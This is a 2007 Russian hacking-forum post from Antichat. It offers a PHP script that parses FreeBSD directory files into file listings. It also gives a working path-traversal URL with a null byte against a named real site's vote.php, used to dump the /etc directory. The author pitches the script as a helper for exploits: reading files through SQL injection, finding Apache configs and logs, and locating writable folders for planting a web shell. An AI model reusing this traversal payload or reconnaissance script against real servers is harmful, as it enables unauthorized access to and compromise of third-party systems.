
07.12.2007, 19:00
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме: 5939734
Репутация:
1917
|
|
скрипт для парсинга файлов каталогов
скрипт для парсинга файлов каталогов,
испытать его можно на gerz.ru:
идем по ссылке:
Код:
http://www.gerz.ru/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/%00
сохраняем полученную страницу на диск в папку со скриптом
в строчке $fl=file_get_contents("file"); прописываем имя файла...
как выяснилось на FreeBSD можно читать не только обычные файлы, но и файлы каталогов с помощью например комманды cat или средствами php
скрипт бывает полезен, когда например есть sql инъекция с возможностью чтения файлов, то для того чтобы искать логи или конфиги апача, да даже для того чтоб найти путь к папкам доступным из веба, допустим для записи шелла, также при инклюдах (на Free BSD конечно же), вобщем must have, если сейчас не нужен, то пригодится позднее, также его несложно переделать под функцию и использовать в эксплоитах
PHP код:
<?php
error_reporting(E_ALL);
$fl=file_get_contents("file");
$s=bin2hex ($fl);
$ln=strlen($s)-5;
$nam=FALSE;
for ($i=0;$i<$ln;$i+=2)
{
$curhex=substr($s,$i,3);
$nexthex=substr($s,$i+4,1);
if (($curhex=='040') and ($nexthex>'1') and ($nexthex<'8'))
{
$pob="<br>".'[DIR] ';
$nam=TRUE;
$i+=4;
}
if (($curhex=='080') and ($nexthex>'1') and ($nexthex<'8'))
{
$pob="<br>".'[FILE] ';
$nam=TRUE;
$i+=4;
}
if ($nam===TRUE)
{
if (($s[$i]>'1') and ($s[$i]<'8'))
{
$hx=substr($s,$i,2);
$hx=chr(hexdec($hx));
$pob=$pob.$hx;
}
else {echo $pob; $nam=FALSE;}
}
}
?>
__________________
Карфаген должен быть разрушен...
|
|
|